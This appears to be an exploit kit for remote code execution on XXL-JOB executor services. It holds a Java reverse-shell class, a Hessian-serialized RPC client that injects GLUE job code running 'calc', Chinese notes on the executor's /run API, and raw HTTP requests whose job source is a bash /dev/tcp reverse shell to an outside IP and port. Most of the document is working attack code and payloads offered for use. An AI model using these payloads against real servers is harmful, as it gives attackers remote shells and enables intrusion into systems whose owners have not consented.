package com.xxl.job.service.handler;

import java.io.BufferedReader;
import java.io.BufferedWriter;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.io.OutputStream;
import java.io.OutputStreamWriter;
import java.net.Socket;

public class reverse {
    class StreamConnector
    extends Thread
    {
        InputStream hx;
        OutputStream il;

        StreamConnector(InputStream hx, OutputStream il)
        {
            this.hx = hx;
            this.il = il;
        }

        public void run()
        {
            BufferedReader ar = null;
            BufferedWriter slm = null;
            try
                {
                    ar = new BufferedReader(new InputStreamReader(this.hx));
                    slm = new BufferedWriter(new OutputStreamWriter(this.il));
                    char[] buffer = new char[8192];
                    int length;
                    while ((length = ar.read(buffer, 0, buffer.length)) > 0)
                    {
                        slm.write(buffer, 0, length);
                        slm.flush();
                    }
                }
            catch (Exception localException) {}
            try
                {
                    if (ar != null) {
                        ar.close();
                    }
                    if (slm != null) {
                        slm.close();
                    }
                }
            catch (Exception localException1) {}
        }
    }
    public reverse()
    {
        reverseConn("ip:port");
    }

    public static void main(String[] args) 
    {
        System.out.println("0");
    }

    public void reverseConn(String ip)
    {
        String ipport = ip;
        try
            {
                String ShellPath;
                if (System.getProperty("os.name").toLowerCase().indexOf("windows") == -1) {
                    ShellPath = new String("/bin/sh");
                } else {
                    ShellPath = new String("cmd.exe");
                }
                Socket socket = new Socket(ipport.split(":")[0], 
                                           Integer.parseInt(ipport.split(":")[1]));
                Process process = Runtime.getRuntime().exec(ShellPath);
                new StreamConnector(process.getInputStream(), 
                                    socket.getOutputStream()).start();
                new StreamConnector(process.getErrorStream(), 
                                    socket.getOutputStream()).start();
                new StreamConnector(socket.getInputStream(), 
                                    process.getOutputStream()).start();
            }
        catch (Exception e)
            {
                e.printStackTrace();
            }
    }
}

package com.example;

import com.xxl.job.core.biz.model.TriggerParam;
import com.xxl.rpc.remoting.net.params.XxlRpcRequest;

import com.xxl.rpc.serialize.impl.HessianSerializer;
import org.asynchttpclient.AsyncCompletionHandler;
import org.asynchttpclient.AsyncHttpClient;
import org.asynchttpclient.DefaultAsyncHttpClient;
import org.asynchttpclient.Response;

import java.io.IOException;
import java.util.Date;

public class App {

    private static void sendData(String url, byte[] bytes) {
        AsyncHttpClient c = new DefaultAsyncHttpClient();

        try{
            c.preparePost(url)
            .setBody(bytes)
            .execute(new AsyncCompletionHandler<Response>() {
                @Override
                public Response onCompleted(Response response) throws Exception {
                    System.out.println("Server Return Data: ");
                    System.out.println(response.getResponseBody());
                    return response;
                }

                @Override
                public void onThrowable(Throwable t) {
                    System.out.println("HTTP出现异常");
                    t.printStackTrace();
                    super.onThrowable(t);
                }
            }).toCompletableFuture().join();

            c.close();
        } catch (Exception e) {
            e.printStackTrace();
        } finally {
            try {
                c.close();
            } catch (IOException e) {
                e.printStackTrace();
            }
        }


    }

    public static void main( String[] args ) throws Exception {

        String code = "package com.xxl.job.service.handler;\n" +
                "\n" +
                "import com.xxl.job.core.log.XxlJobLogger;\n" +
                "import com.xxl.job.core.biz.model.ReturnT;\n" +
                "import com.xxl.job.core.handler.IJobHandler;\n" +
                "import java.lang.Runtime;\n" +
                "\n" +
                "public class DemoGlueJobHandler extends IJobHandler {\n" +
                "\n" +
                "\t@Override\n" +
                "\tpublic ReturnT<String> execute(String param) throws Exception {\n" +
                "      \tRuntime.getRuntime().exec(\"calc\");\n" +
                "\t\treturn ReturnT.SUCCESS;\n" +
                "\t}\n" +
                "\n" +
                "}\n";

        System.out.println(code);

        TriggerParam params = new TriggerParam();
        params.setJobId(10);
        params.setExecutorBlockStrategy("SERIAL_EXECUTION");
        params.setLogId(10);
        params.setLogDateTime((new Date()).getTime());
        params.setGlueType("GLUE_GROOVY");
        params.setGlueSource(code);
        params.setGlueUpdatetime((new Date()).getTime());

        XxlRpcRequest xxlRpcRequest = new XxlRpcRequest();
        xxlRpcRequest.setRequestId("111");
        xxlRpcRequest.setClassName("com.xxl.job.core.biz.ExecutorBiz");
        xxlRpcRequest.setMethodName("run");
        xxlRpcRequest.setParameterTypes(new Class[]{TriggerParam.class});
        xxlRpcRequest.setParameters(new Object[] {params});
        xxlRpcRequest.setCreateMillisTime((new Date()).getTime());

        HessianSerializer serializer = new HessianSerializer();

        byte[] data = serializer.serialize(xxlRpcRequest);
        sendData("http://127.0.0.1:9999", data);

    }
}

地址格式：
    {执行器内嵌服务跟地址}/run 	//也就是说为executor端的地址，ip:9999/run
 
Header： 
    XXL-JOB-ACCESS-TOKEN : {请求令牌} 	
 
请求数据格式如下，放置在 RequestBody 中，JSON格式： 
{ 
    "jobId":1, // 任务ID 
    "executorHandler":"demoJobHandler", // 任务标识 
    "executorParams":"demoJobHandler", // 任务参数 
    "executorBlockStrategy":"COVER_EARLY", // 任务阻塞策略，可选值参考   com.xxl.job.core.enums.ExecutorBlockStrategyEnum 
    "executorTimeout":0, // 任务超时时间，单位秒，大于零时生效 
    "logId":1, // 本次调度日志ID 
    "logDateTime":1586629003729, // 本次调度日志时间 
    "glueType":"BEAN", // 任务模式，可选值参考 com.xxl.job.core.glue.GlueTypeEnum 		"glueSource":"xxx", // GLUE脚本代码 
    "glueUpdatetime":1586629003727, // GLUE脚本更新时间，用于判定脚本是否变更以及是否需要刷新 
    "broadcastIndex":0, // 分片参数：当前分片 
    "broadcastTotal":0 // 分片参数：总分片 
} 
 
响应数据格式： 
    { "code": 200, // 200 表示正常、其他失败 "msg": null // 错误提示消息 }

BEAN("BEAN", false, null, null),
GLUE_GROOVY("GLUE(Java)", false, null, null),
GLUE_SHELL("GLUE(Shell)", true, "bash", ".sh"), 
GLUE_PYTHON("GLUE(Python)", true, "python", ".py"), 
GLUE_PHP("GLUE(PHP)", true, "php", ".php"), 
GLUE_NODEJS("GLUE(Nodejs)", true, "node", ".js"), 
GLUE_POWERSHELL("GLUE(PowerShell)", true, "powershell", ".ps1");

"glueType":"GLUE_SHELLl"，
"glueSource":"/bin/bash / -i >& /dev/tcp/ip/port 0>&1"

POST /run HTTP/1.1
Host: ip:9999
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.132 Safari/537.36
Connection: close
Content-Type: application/json
Content-Length: 394
 
{
  "jobId": 1,
  "executorHandler": "demoJobHandler",
  "executorParams": "demoJobHandler",
  "executorBlockStrategy": "COVER_EARLY",
  "executorTimeout": 0,
  "logId": 1,
  "logDateTime": 1586629003729,
  "glueType": "GLUE_SHELL",
  "glueSource": "/bin/bash -i >& /dev/tcp/192.168.30.1/5555 0>&1",
  "glueUpdatetime": 1586699003758,
  "broadcastIndex": 0,
  "broadcastTotal": 0
}